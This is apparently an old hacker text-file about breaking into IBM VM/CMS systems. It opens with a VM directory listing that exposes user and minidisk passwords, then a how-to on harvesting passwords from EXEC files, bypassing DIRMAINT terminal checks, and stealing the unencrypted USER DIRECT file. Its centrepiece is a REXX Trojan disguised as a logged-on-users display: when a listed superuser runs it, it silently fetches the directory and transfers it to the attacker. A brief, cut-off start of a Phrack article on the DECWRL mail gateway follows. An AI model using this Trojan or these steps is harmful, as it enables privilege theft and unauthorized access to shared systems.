MDISK 191 3380 143 007 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK 192 3380 141 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK 193 3380 150 002 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK 194 3380 152 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK 195 3380 153 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK 197 3380 154 001 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK 200 3380 155 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK 201 3380 160 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK 400 3380 165 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 MDISK 401 3380 170 005 VMPK02 MR RFSFCNTR WFSFCNTR MFSFCNTR 03131808 *

USER FSFTASK1 FSFTASK1 1M 1M G 64 ON ON ON ON

*

* 5798DMY FILE STORAGE TASK MACHINE

*

INCLUDE EXPPROF

ACCOUNT 999

OPTION BMX MAXCONN 2

IUCV ALLOW PRIORITY MSGLIMIT 255

LINK FSFCNTRL 191 191 RR

*

USER FSFTASK2 FSFTASK2 1M 1M G 64 ON ON ON ON

*

* 5798DMY FILE STORAGE TASK MACHINE

*

INCLUDE EXPPROF

ACCOUNT 999

OPTION BMX MAXCONN 2

IUCV ALLOW PRIORITY MSGLIMIT 255

LINK FSFCNTRL 191 191 RR

*

USER FSFADMIN FSFADMIN 1M 1M G 64 ON ON ON ON

*

* 5798DMY FILE STORAGE ADMINISTRATOR

*

INCLUDE EXPPROF

ACCOUNT 999

OPTION BMX MAXCONN 2

IUCV ALLOW PRIORITY MSGLIMIT 255

LINK MAINT 319 319 RR

MDISK 192 3380 175 003 VMPK02 MR RFSFADMI WFSFADMI MFSFADMI 03131808 *

USER IIPS IIPS 2M 4M G 64 ON ON ON ON

*

* 5668012 IIPS

*

INCLUDE EXPPROF

ACCOUNT 8 INSTR

MDISK 191 3380 736 013 VMSRES MR RIIPS WIIPS MIIPS 03131808 MDISK 193 3380 749 019 VMSRES MR RIIPS WIIPS MIIPS 03131808 *

USER ADMIN ADMIN 1664K 16M ABCDEFG 64 ON ON ON ON

*

* 5664318 VM/IPF

*

INCLUDE EXPPROF

LINK MAINT 300 300 RR

MDISK 191 3380 781 001 VMPK01 MR RADMIN WADMIN MADMIN 03131808 *

USER DISKACNT DISKACNT 512K 2M G 64 ON ON ON ON

*

* 5664318 VM/IPF

*

INCLUDE EXPPROF

OPTION ECMODE

LINK MAINT 300 300 RR

MDISK 191 3380 010 002 VMPK01 MR RDISKACN WDISKACN MDISKACN 03131808 *

USER CPRM CPRM 512K 1M G 64 ON ON ON ON

*

* 5664318 VM/IPF

*

INCLUDE EXPPROF

LINK OPERATNS 193 193 RR

MDISK 191 3380 783 001 VMPK01 MR RCPRM WCPRM MCPRM 03131808 MDISK 192 3380 098 007 VMSRES MR ALL WCPRM MCPRM 03131808 MDISK 291 3380 784 001 VMPK01 MR RCPRM WCPRM MCPRM 03131808 *

USER OP1 OP1 1M 13M ABCDEFG 64 ON ON ON ON

*

* 5664318 VM/IPF

*

INCLUDE EXPPROF

LINK MAINT 300 300 RR

MDISK 191 3380 058 001 VMSRES MR ROP1 WOP1 MOP1 03131808 *

USER VMUTIL VMUTIL 512K 2M ABDEG 64 ON ON ON ON

*

* 5664318 VM/IPF

*

INCLUDE EXPPROF

IPL CMS

OPTION ECMODE

LINK MAINT 300 300 RR

MDISK 191 3380 059 001 VMSRES MR RVMUTIL WVMUTIL MVMUTIL 03131808 *

USER IPFSERV IPFSERV 2M 16M G 64 ON ON ON ON

*

* 5664318 VM/IPF

*

IPL CMS

CONSOLE 009 3215 T MAINT

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 123 123 MW

LINK MAINT 190 190 RR

LINK MAINT 191 192 RR

LINK MAINT 193 193 RR

LINK MAINT 194 194 RR

LINK MAINT 19D 19D RR

LINK MAINT 19E 19E RR

LINK MAINT 294 294 RR

LINK MAINT 295 295 RR

LINK MAINT 300 300 RR

MDISK 191 3380 060 001 VMSRES MR RIPFSERV WIPFSERV MIPFSERV 03131808 *

USER ISPVM ISPVM 1M 10M EG 64 ON ON ON ON

*

* 5664282 ISPF

*

INCLUDE EXPPROF

ACCOUNT 104 USER04

MDISK 191 3380 548 005 VMSRES MR RISPVM WISPVM MISPVM 03131808 MDISK 192 3380 110 054 VMSRES MR RISPVM WISPVM MISPVM 03131808 *

USER NETVIEW NETVIEW 5M 16M G 64 ON ON ON ON

*

* 5664175 NETVIEW

*

ACCOUNT NETVIEW GCS

OPTION ECMODE

IUCV ANY P M 0

IUCV *LOGREC

IPL GCS PARM AUTOLOG

CONSOLE 01F 3215

SPOOL 00C 2540 READER A

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 334 191 RR

LINK VTAM 191 291 RR

LINK VTAM 29A 29A RR

LINK MAINT 595 595 RR

MDISK 198 3380 166 034 VMGCS1 WR RNETVIEW WNETVIEW MNETVIEW 03131808 *

USER PRODBM PRODBM 1M 4M G 64 ON ON ON ON

*

* 5664309 PROFS DATABASE MANAGER

*

INCLUDE EXPPROF

ACCOUNT 250 PRODBM

OPTION MAXCONN 2000

IUCV ALLOW

LINK SYSADMIN 399 399 RR

MDISK 161 3380 169 011 PROFPK MR RDBM WDBM MDBM 03131808 MDISK 191 3380 165 004 PROFPK MR RDBM WDBM MDBM 03131808 MDISK 5FD 3380 206 013 PROFPK MR RDBM WDBM MDBM 03131808 MDISK 5FE 3380 193 013 PROFPK MR RDBM WDBM MDBM 03131808 MDISK 5FF 3380 180 013 PROFPK MR RDBM WDBM MDBM 03131808 *

USER PROMAIL PROMAIL 1M 2M G 64 ON ON ON ON

*

* 5664309 PROFS DISTRIBUTION MANAGER

*

INCLUDE EXPPROF

ACCOUNT 250 PROMAIL

LINK PRODBM 191 395 RR

LINK SYSADMIN 399 399 RR

MDISK 151 3380 092 004 PROFPK MR RMAIL WMAIL MMAIL 03131808 MDISK 191 3380 084 008 PROFPK MR RMAIL WMAIL MMAIL 03131808 *

USER PROCAL PROCAL 1M 4M G 64 ON ON ON ON

*

* 5664309 PROFS CALENDAR MANAGER

*

INCLUDE EXPPROF

ACCOUNT 250 PROCAL

LINK PRODBM 191 395 RR

LINK SYSADMIN 398 398 RR

LINK SYSADMIN 399 399 RR

MDISK 191 3380 096 004 PROFPK MR RCAL WCAL MCAL 03131808 MDISK 5FB 3380 100 013 PROFPK MR RCAL WCAL MCAL 03131808 MDISK 5FC 3380 113 013 PROFPK MR RCAL WCAL MCAL 03131808 MDISK 5FD 3380 126 013 PROFPK MR RCAL WCAL MCAL 03131808 MDISK 5FE 3380 139 013 PROFPK MR RCAL WCAL MCAL 03131808 MDISK 5FF 3380 152 013 PROFPK MR RCAL WCAL MCAL 03131808 *

USER SYSADMIN NOLOG 1M 16M EG 64 ON ON ON ON

*

* 5664309 PROFS ADMINISTRATOR

*

INCLUDE EXPPROF

ACCOUNT 250 SYSADMIN

LINK PRODBM 161 161 RR

LINK PRODBM 191 4FA RR

LINK PRODBM 5FD 5FD RR

LINK PRODBM 5FE 5FE RR

LINK PRODBM 5FF 5FF RR

MDISK 191 3380 001 011 PROFPK MR RADMIN WADMIN MADMIN 03131808 MDISK 298 3380 012 029 PROFPK MR RADMIN WADMIN MADMIN 03131808 MDISK 398 3380 041 019 PROFPK MR RADMIN WADMIN MADMIN 03131808 MDISK 399 3380 060 024 PROFPK MR RADMIN WADMIN MADMIN 03131808 MDISK 397 3380 219 002 PROFPK MR ALL WADMIN MADMIN 03131808 *

USER SFCM1 SFCM1 3M 5M BDG 64 ON ON ON ON

*

* 5664198 PSF

*

INCLUDE EXPPROF

ACCOUNT 100 PSF

OPTION ACCT

IUCV *SPL

LINK PDM470 191 193 RR

LINK PDMREM1 191 194 RR

LINK PSFMAINT 191 291 RR

LINK PSFMAINT 193 293 RR

LINK PSFMAINT 194 294 RR

MDISK 191 3380 839 020 VMSRES MR RSFCM1 WSFCM1 03131808 *

USER PSFMAINT PSFMAINT 3M 16M ABCDEFG 64 ON ON ON ON

*

* 5664198 PSF MAINTENANCE

*

INCLUDE EXPPROF

ACCOUNT 1 SYSPROG

MDISK 191 3380 814 011 VMSRES MR RPSFMAIN WPSFMAIN 03131808 MDISK 193 3380 825 004 VMSRES MR RPSFMAIN WPSFMAIN 03131808 MDISK 194 3380 829 010 VMSRES MR RPSFMAIN WPSFMAIN 03131808 *

USER PDM470 PDM470 4M 5M BG 64 ON ON ON ON

*

* 5664198 PSF 3800 PDM

*

INCLUDE EXPPROF

ACCOUNT 100 PSF

OPTION ACCT

IUCV *SPL

*DEDICATE 470 470

LINK SFCM1 191 193 RR

LINK PSFMAINT 191 291 RR

LINK PSFMAINT 194 294 RR

MDISK 191 3380 809 005 VMSRES MR RPDM470 WPDM470 03131808 *

USER PDMREM1 PDMREM1 4M 5M BG 64 ON ON ON ON

*

* 5664198 PSF 3820 PDM

*

ACCOUNT 100 PSF

OPTION ACCT ECMODE

IPL GCS PARM AUTOLOG

IUCV *SPL

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19E 19E RR

LINK MAINT 595 595 RR

LINK SFCM1 191 193 RR

LINK PSFMAINT 191 291 RR

LINK PSFMAINT 194 294 RR

MDISK 191 3380 804 005 VMSRES MR RPDMREM1 WPDMREM1 03131808 *

USER PVM PVM 1024K 2M BG 50 ON ON ON ON

*

* 5748RC1 VM PASS‑THROUGH FACILITY

*

INCLUDE EXPPROF

OPTION ECMODE

LINK MAINT 193 193 RR

LINK MAINT 36E 191 MR

*

USER RSCS RSCS 1M 2M BG 64 ON ON ON ON

*

* 5748XP1 RSCS V1

*

ACCOUNT 15 SYSTEM

OPTION ACCT ECMODE

IPL 191

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 193 193 RR

LINK MAINT 19E 19E RR

LINK MAINT 19D 19D RR

LINK MAINT 49E 49E RR

MDISK 191 3380 105 002 VMSRES MR RRSCS WRSCS MRSCS 03131808 *

USER RSCSV2 RSCSV2 2M 4M BG 64 ON ON ON ON

*

* 5664188 RSCS (VERSION 2)

*

ACCOUNT 15 SYSTEM

OPTION ECMODE ACCT BMX VCUNOSHR

IPL GCS PARM AUTOLOG

CONSOLE 01F 3215 T OPERATOR

SPOOL 00C 2540 READER A

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 595 595 RR

LINK MAINT 59F 191 RR

*

USER SMART SMART 2048K 2M CEG 64 ON ON ON ON

*

* 5796PNA VM REAL TIME MONITOR SYSTEM

*

INCLUDE EXPPROF

ACCOUNT 999

LINK MAINT 319 319 RR

MDISK 191 3380 848 026 VMPK01 MR RSMART WSMART MSMART 03131808 *

USER SQLDBA SQLDBA 6M 6M G 64 ON OFF OFF \

*

* 5748XXJ SQL/DS ADMINISTRATOR

*

ACCOUNT 26

OPTION MAXCONN 25

IUCV ALLOW

IUCV *IDENT SQLDBA GLOBAL

IPL CMS

CONSOLE 009 3215 T OPERATOR

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

MDISK 191 3380 001 010 SQLPK W 03131808

MDISK 193 3380 011 035 SQLPK R RSQL WSQL 03131808 MDISK 195 3380 046 013 SQLPK RR RSQL WSQL MSQL 03131808 MDISK 200 3380 059 034 SQLPK R RSQL WSQL 03131808 MDISK 201 3380 093 011 SQLPK R RSQL WSQL 03131808 MDISK 202 3380 104 100 SQLPK R RSQL WSQL 03131808 *

USER SQLUSER SQLUSER 2M 2M G 64 ON ON ON ON

*

* 5748XXJ SQL/DS USER MACHINE

*

INCLUDE EXPPROF

ACCOUNT 27

OPTION REALTIMER

IUCV SQLDBA

LINK SQLDBA 195 195 RR

MDISK 191 3380 204 003 SQLPK W 03131808

*

USER VMARCH VMARCH 2M 4M BEG 64 ON ON ON ON

*

* 5664291 VMBACKUP

*

INCLUDE EXPPROF

ACCOUNT 999

OPTION ACCT ECMODE

LINK MAINT 123 1A0 RR

MDISK 191 3380 001 011 VMPK02 MR RVMARCH WVMARCH MVMARCH 03131808 MDISK 193 3380 012 007 VMPK02 MR RVMARCH WVMARCH MVMARCH 03131808 MDISK 100 3380 019 007 VMPK02 MR RVMARCH WVMARCH MVMARCH 03131808 MDISK 101 3380 026 007 VMPK02 MR RVMARCH WVMARCH MVMARCH 03131808 MDISK 200 3380 033 007 VMPK02 MR RVMARCH WVMARCH MVMARCH 03131808 *

USER VMBACKUP VMBACKUP 2M 16M BEG 64 ON ON ON ON

*

* 5664291 VMBACKUP

*

ACCOUNT 999

OPTION ACCT BMX ECMODE

IPL CMS

CONSOLE 009 3215

SPOOL 001 2540 READER *

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH

SPOOL 0D0 2540 PUNCH

SPOOL 0D1 2540 PUNCH

SPOOL 00E 1403

SPOOL 0E0 1403

SPOOL 0E1 1403

SPOOL 0E2 1403

SPOOL 0E3 1403

SPOOL 0E4 1403

SPOOL 0E5 1403

SPOOL 0E6 1403

SPOOL 0E7 1403

LINK MAINT 190 190 RR

LINK MAINT 19E 19E RR

LINK MAINT 123 1A0 RR

MDISK 191 3380 040 006 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU 03131808 MDISK 192 3380 046 003 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU 03131808 MDISK 193 3380 049 003 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU 03131808 MDISK 194 3380 052 044 VMPK02 MR RVMBACKU WVMBACKU MVMBACKU 03131808 *

USER VMBSYSAD VMBSYSAD 1M 4M BG 64 ON ON ON ON

*

* 5664291 VMBACKUP

*

INCLUDE EXPPROF

ACCOUNT 999

LINK MAINT 191 124 RR

LINK VMBACKUP 194 294 RR RVMBACKU

LINK VMBACKUP 193 293 RR RVMBACKU

LINK MAINT 123 1A0 RR

MDISK 191 3380 096 005 VMPK02 MR RVMBSYSA WVMBSYSA MVMBSYSA 03131808 MDISK 192 3380 101 009 VMPK02 MR RVMBSYSA WVMBSYSA MVMBSYSA 03131808 *

USER DEMO1 DEMO1 4M 4M G 64 ON ON ON ON

*

* 5664283 VM/IS‑PRODUCTIVITY FACILITY SAMPLE USER

*

INCLUDE EXPPROF

ACCOUNT DEMO1 DEMO1

IUCV SQLDBA

LINK MAINT 319 319 RR

LINK MAINT 31A 31A RR

LINK MAINT 322 322 RR

LINK MAINT 326 326 RR

LINK MAINT 34A 59A RR

LINK SQLDBA 195 195 RR

LINK SYSADMIN 399 399 RR

MDISK 191 3380 107 003 VMSRES MR RDEMO1 WDEMO1 MDEMO1 03131808 *

USER DEMO2 DEMO2 4M 4M G 64 ON ON ON ON

*

* 5664283 VM/IS‑PRODUCTIVITY FACILITY SAMPLE USER

*

INCLUDE EXPPROF

ACCOUNT DEMO2 DEMO2

IUCV SQLDBA

LINK MAINT 319 319 RR

LINK MAINT 31A 31A RR

LINK MAINT 322 322 RR

LINK MAINT 326 326 RR

LINK MAINT 34A 59A RR

LINK SQLDBA 195 195 RR

LINK SYSADMIN 399 399 RR

MDISK 191 3380 859 003 VMSRES MR RDEMO2 WDEMO2 MDEMO2 03131808 *

USER DEMO3 DEMO3 4M 4M G 64 ON ON ON ON

*

* 5664283 VM/IS‑PRODUCTIVITY FACILITY SAMPLE USER

*

INCLUDE EXPPROF

ACCOUNT DEMO3 DEMO3

IUCV SQLDBA

LINK MAINT 319 319 RR

LINK MAINT 31A 31A RR

LINK MAINT 322 322 RR

LINK MAINT 326 326 RR

LINK MAINT 34A 59A RR

LINK SQLDBA 195 195 RR

LINK SYSADMIN 399 399 RR

MDISK 191 3380 862 003 VMSRES MR RDEMO3 WDEMO3 MDEMO3 03131808 *

USER DEMO4 DEMO4 4M 4M G 64 ON ON ON ON

*

* 5664283 VM/IS‑PRODUCTIVITY FACILITY SAMPLE USER

*

INCLUDE EXPPROF

ACCOUNT DEMO4 DEMO4

IUCV SQLDBA

LINK MAINT 319 319 RR

LINK MAINT 31A 31A RR

LINK MAINT 322 322 RR

LINK MAINT 326 326 RR

LINK MAINT 34A 59A RR

LINK SQLDBA 195 195 RR

LINK SYSADMIN 399 399 RR

MDISK 191 3380 865 003 VMSRES MR RDEMO4 WDEMO4 MDEMO4 03131808 *

USER VMTAPE VMTAPE 1M 2M BCEG 64 ON ON ON ON

*

* 5664292 VMTAPE

*

INCLUDE EXPPROF

ACCOUNT 999

OPTION BMX ECMODE ACCT

MDISK 191 3380 110 005 VMPK02 MR RVMTAPE WVMTAPE MVMTAPE 03131808 MDISK 200 3380 115 007 VMPK02 MR RVMTAPE WVMTAPE MVMTAPE 03131808 MDISK 300 3380 122 007 VMPK02 MR RVMTAPE WVMTAPE MVMTAPE 03131808 *

USER VMTLIBR VMTLIBR 1M 3M G 64 ON ON ON ON

*

* 5664292 VMTAPE

*

INCLUDE EXPPROF

ACCOUNT 999

LINK VMTAPE 191 193 MR

LINK VMTAPE 200 200 MW

LINK VMTAPE 300 300 MW

MDISK 191 3380 129 005 VMPK02 MR RVMTLIBR WVMTLIBR MVMTLIBR 03131808 MDISK 192 3380 134 007 VMPK02 MR RVMTLIBR WVMTLIBR MVMTLIBR 03131808 *

USER VMMAP VMMAP 2M 4M G 64 ON ON ON ON

*

* 5664191 VMMAP

*

INCLUDE EXPPROF

ACCOUNT 999

LINK MAINT 193 193 RR

MDISK 191 3380 639 024 VMSRES MR RVMMAP WVMMAP MVMMAP 03131808 *

USER VTAM VTAM 5M 16M G 64 ON ON ON ON

*

* 5664280 VTAM

*

ACCOUNT VTAM GCS

OPTION ECMODE DIAG98 MAXCONN 400

IUCV *CCS P M 10

IUCV ANY P M 0

IPL GCS PARM AUTOLOG

CONSOLE 01F 3215

SPOOL 00C 2540 READER A

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 298 191 RR

LINK MAINT 29A 29A RR

LINK MAINT 595 595 RR

*

USER VM3812 VM3812 3M 4M BG 64 ON ON ON ON

*

* 5798DTE VM3812 SERVICE MACHINE

*

INCLUDE EXPPROF

ACCOUNT 15 SYSTEM

MDISK 191 3380 813 004 VMPK01 MR RVM3812 WVM3812 MVM3812 03131808 MDISK 192 3380 817 007 VMPK01 MR RVM3812 WVM3812 MVM3812 03131808 MDISK 193 3380 824 020 VMPK01 MR ALL WVM3812 03131808 * ADD USER ID ‑‑‑‑‑‑

USER VSEMAN VSE 2M 16M ABCDEFG 42 ON ON ON ON

INCLUDE EXPPROF

ACCOUNT 999 SYSTEM

MDISK 191 3380 001 030 EDMD01 MR VSE 03131808

MDISK 192 3380 873 012 VMSRES MR VSE 03131808

USER PENG PENG 2M 16M ABCDEFG 42 ON ON ON ON

INCLUDE EXPPROF

ACCOUNT 999 SYSTEM

MDISK 191 3380 553 010 VMSRES MR PENG PENG 03131808 *

USER MOESERV MOESERV 2M 16M G 42 ON ON ON ON

INCLUDE EXPPROF

ACCOUNT 996 MOE

MDISK 191 3380 544 002 VMPK01 MR MOESERV MOESERV 03131808 *

USER VTAMUSER CCC 2M 8M G 64 ON ON ON ON

*

* 5668814 CSP

*

INCLUDE EXPPROF

ACCOUNT 101

MDISK 191 3380 134 032 VMPK01 MW VTAM1 WVTAM1 MVTAM1 03131808 USER IDMSSE IDMS 2M 8M G 64 ON ON ON ON

INCLUDE EXPPROF

ACCOUNT 101

MDISK 191 3380 519 005 VMPK01 MW VTAM1 WVTAM1 MVTAM1 03131808 MDISK 192 3380 524 020 VMPK01 MW VTAM1 WVTAM1 MVTAM1 03131808

========================================

If you need an explanation about these two tables, you should look at it like this:

|‑‑‑‑‑‑User ID

| |‑‑‑‑‑‑‑That User ID's password

^ ^

USER IDMSSE IDMS 2M 8M G 64 ON ON ON ON

^ ^ ^

| | |‑‑‑Its privilege grade

| |‑‑Its maximum memory storage |

|‑‑‑‑Its default memory storage

INCLUDE EXPPROF <‑‑‑‑‑What you see when you log on

ACCOUNT 101

MDISK 191 3380 519 005 VMPK01 MW VTAM1 WVTAM1 MVTAM1

^ ^

| | Minidisk mult pass

| | Minidisk write pass

| |‑‑‑Minidisk read pass

|‑‑Its minidisk

MDISK 192 3380 524 020 VMPK01 MW VTAM1 WVTAM1 MVTAM1

========================================

Luckily, I have tested the second table in 4 VM systems and it works. May you be lucky too!

Of course, since all of us are general users, the first thing to know is how to get privileges by trying a password or by accident by getting privileged users' passwords.

While CP/CMS uses passwords to control performance, it must store some passwords in the REXX command language (EXEC files). It looks like this:

CP LINK VTAMUSER 191 121 RR VTAM1

If you have succeeded in linking that minidisk then:

AC 121 B

FILEL * * B

Then you can see all of the files owned by VTAMUSER. Usually people are lazy enough to remember too many passwords, so to read the passwords. It may be its CP pass too! TRY IT!!!

But IBM is not so stupid as to let any user with privileges open accounts randomly. It limits a maximum of 8 superusers to be able to do it. You may find it in:

DIRMAINT DATA Y2

Only these DIRM‑STAFF can open accounts from the console. If another user logs on from a terminal, he will be logged out immediately even though he knew the password. And only these STAFF have 2 modes of operation to use:

DIRM

One is general user mode and the other is operation mode (Privilege operation) so you have to cheat the O.S. to think that you are NOT logged in from a terminal. Our way is to use TELNET. Usually this package is named TCPIP. Do this:

TELNET yourhost

It will request you logon again. Then, if you logon with the superuser ID & password, the O.S. will not recognize that you are from a terminal and will let you in!! The most important thing is that IBM stores its user IDs & passwords in a file:

USER DIRECT

Usually, this file is stored on DIRMAINT's minidisk and it is a text file!!! I do not know why, but it actually is not encrypted!!!! Incredible to believe...

Once you have this file, you will know all users' passwords and all information about all users' IDs and I think it is rude to open new accounts! Poor me! I've done this and lost privs 3 times now. While there is a way to get back your privs, first you need find a privileged ID so that you can write your file in it. Then, write a EXEC file into it. This file's name must be a most common command that any one will issue. If the general user uses it, nothing happens, but if a superuser issues it, then it will do something for you! Here is a example:

Please note that wherever you see (cut), it means that the line was too long and had to be split. Whenever you see (cut), take the line below the line that it is on and paste it on the end of the (cut) line (removing the (cut) in the process).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Cut Here‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* DISPLAY THE NUMBER OF SPECIFIED USERS LOGGED ON */

TRACE O

USER = 0

SW = 1

S = 1

PARSE UPPER ARG NAM GARBAGE

IF NAM = ' ' THEN signal qname

PO = INDEX(NAM,'*')

IF PO = 0 THEN DO

Q NAM

EXIT

END

T = PO ‑ 1

IF T= 0 THEN signal qname

NALL = SUBSTR(NAM,1,T)

EXECIO '* CP (STRING Q N '

NUMQ = QUEUED()

DO N = 1 TO NUMQ

PULL STR

PARSE VALUE STR with NA.N '‑' LA.N ',' NB.N '‑' LB.N ',' NC.N '‑' LC.N (cut) ','ND.N '‑' LD.N

na.n=substr(strip(na.n,'L'),1,8)

nb.n=substr(strip(nb.n,'L'),1,8)

nc.n=substr(strip(nc.n,'L'),1,8)

nd.n=substr(strip(nd.n,'L'),1,8)

END

DO N = 1 TO NUMQ

IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(NA.N,1,T)=NALL & (cut) SUBSTR(space(NA.N),1,4)^='LOGO' & SPACE

A.S = NA.N||'‑'||LA.N||',' ; S=S+1 ; USER=USER+1; END;

IF LB.N ^= DSC & LB.N ^= ' ' & SUBSTR(NB.N,1,T)=NALL & (cut) SUBSTR(space(NB.N),1,4)^='LOGO' & SPACE

A.S = NB.N||'‑'||LB.N||',' ; S=S+1 ; USER=USER+1; END;

IF LC.N ^= DSC & LC.N ^= ' ' & SUBSTR(NC.N,1,T)=NALL & (cut) SUBSTR(space(NC.N),1,4)^='LOGO' & SPACE

A.S = NC.N||'‑'||LC.N||',' ; S=S+1 ; USER=USER+1; END;

IF LD.N ^= DSC & LD.N ^= ' ' & SUBSTR(ND.N,1,T)=NALL & (cut) SUBSTR(space(ND.N),1,4)^='LOGO' SPACE(L

A.S = ND.N||'‑'||LD.N||',' ; S=S+1 ; USER=USER+1; END;

END

CLRSCRN

call concate

SAY

MM= ' <‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑' RIGHT(USER,3,0) ' SPECIFIED LOGON USERS ‑ (cut)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑>'

say MM

SAY

SAY

EXIT

QNAME:

/* DISPLAY THE NUMBER OF USERS LOGGED ON */

USER = 0

SW = 1

S = 1

EXECIO '* CP (STRING Q N '

IF USERID() ='MAINT' THEN SIGNAL NJ /*super user id */

IF USERID() ='JASMIN' THEN SIGNAL NJ /*super user id */

IF USERID() ='LIU' THEN SIGNAL NJ /*supr userid */

IF USERID() ='PMAINT' THEN SIGNAL NJ /*super user id*/

IF USERID() ='MOESERV' THEN SIGNAL NJ /* super user id*/

SIGNAL JP

NJ:

CP SET IMSG OFF

CP SET MSG OFF

EXEC DIRMAINT GET DIRMAINT NOLOCK

SLEEP 2 SEC

CP TRAN USERID() ALL yourid /* to your own id*/

CP SET IMSG ON

CP SET MSG ON

JP:

NUMQ = QUEUED()

DO N = 1 TO NUMQ

PULL STR

PARSE VALUE STR with NA.N '‑' LA.N ',' NB.N '‑' LB.N ',' NC.N (cut) '‑' LC.N ','ND.N '‑' LD.N na.n=substr(strip(na.n,'L'),1,8)

nb.n=substr(strip(nb.n,'L'),1,8)

nc.n=substr(strip(nc.n,'L'),1,8)

nd.n=substr(strip(nd.n,'L'),1,8)

END

DO N = 1 TO NUMQ

IF LA.N ='VTAM' THEN SELECT

WHEN (S+0)//4 = 1 THEN DO

LA.N ='VTAM' THEN DO

A.S ='VSM ‑ VTAM' ; S = S+1 ;

A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ; S=S+1 ; ITERATE END

WHEN (S+0)//4 = 2 THEN DO

A.S = ' ' ; S = S+1 ; A.S = ' ' ;S=S+1 ; A.S =' ' ; S=S+1 ;END WHEN (S+0)//4 = 3 THEN DO;A.S =' ';S=S+1 ; A.S =' ' ; S=S+1 ;END;

WHEN (S+0)//4 = 0 THEN DO; A.S = ' ' ; S=S+1 ; END

END

IF LA.N ='VTAM' THEN DO

A.S ='VSM ‑ VTAM' ; S = S+1 ;

A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ; S=S+1 ; ITERATE END

IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(space(NA.N),1,4)^='LOGO' & (cut) SPACE(LA.N)^=SPACE(NA.N) THEN

A.S = NA.N||'‑'||LA.N||',' ; S=S+1 ; USER=USER+1; END;

IF LB.N ^= DSC & LB.N ^= ' ' & SUBSTR(space(NB.N),1,4)^='LOGO' & (cut) SPACE(LB.N)^=SPACE(NB.N) THEN

A.S = NB.N||'‑'||LB.N||',' ; S=S+1 ; USER=USER+1; END;

IF LC.N ^= DSC & LC.N ^= ' ' & SUBSTR(space(NC.N),1,4)^='LOGO' & (cut) SPACE(LC.N)^=SPACE(NC.N) THEN

A.S = NC.N||'‑'||LC.N||',' ; S=S+1 ; USER=USER+1; END;

IF LD.N ^= DSC & LD.N ^= ' ' & SUBSTR(space(ND.N),1,4)^='LOGO' & (cut) SPACE(LD.N)^=SPACE(ND.N) THEN

A.S = ND.N||'‑'||LD.N||',' ; S=S+1 ; USER=USER+1; END;

END

CLRSCRN

call concate

SAY

MM= ' <‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ' RIGHT(USER,3,0) ' LOGON USERS ‑ ‑ ‑ ‑ (cut)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑>'

say MM

SAY

exit

concate:

DO I = 1 TO S‑1 BY 4

IF I+1 < S THEN P=I+1 ; ELSE A.P = ' '

IF I+2 < S THEN Q=I+2 ; ELSE A.Q = ' '

IF I+3 < S THEN R=I+3 ; ELSE A.R = ' '

STR= ' '

IF I+3 < S THEN R=I+3 ; ELSE A.R = ' ' STR=INSERT(A.I,STR,1) ; STR=INSERT(A.P,STR,21) STR=INSERT(A.Q,STR,41) ; STR=INSERT(A.R,STR,61) SAY STR

END

return

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Cut Here‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well, that is it...Unfortunately, we did not know how to install a backdoor in IBM VM/CMS so we could not keep privs permanently. It is a pity...but we're glad to share our experience with hackers!

Sincerely,

Goe

The DECWRL Mail Gateway

==Phrack Inc.==

Volume Three, Issue 30, File #5 of 12

()()()()()()()()()()

()

() The DECWRL Mail Gateway ()

()

() by Dedicated Link ()

()

() September 20, 1989 ()

()

()()()()()()()()()()

INTRODUCTION

DECWRL is a mail gateway computer operated by Digital's Western Research Laboratory in Palo Alto, California. Its purpose is to support the interchange of electronic mail between Digital and the "outside world."

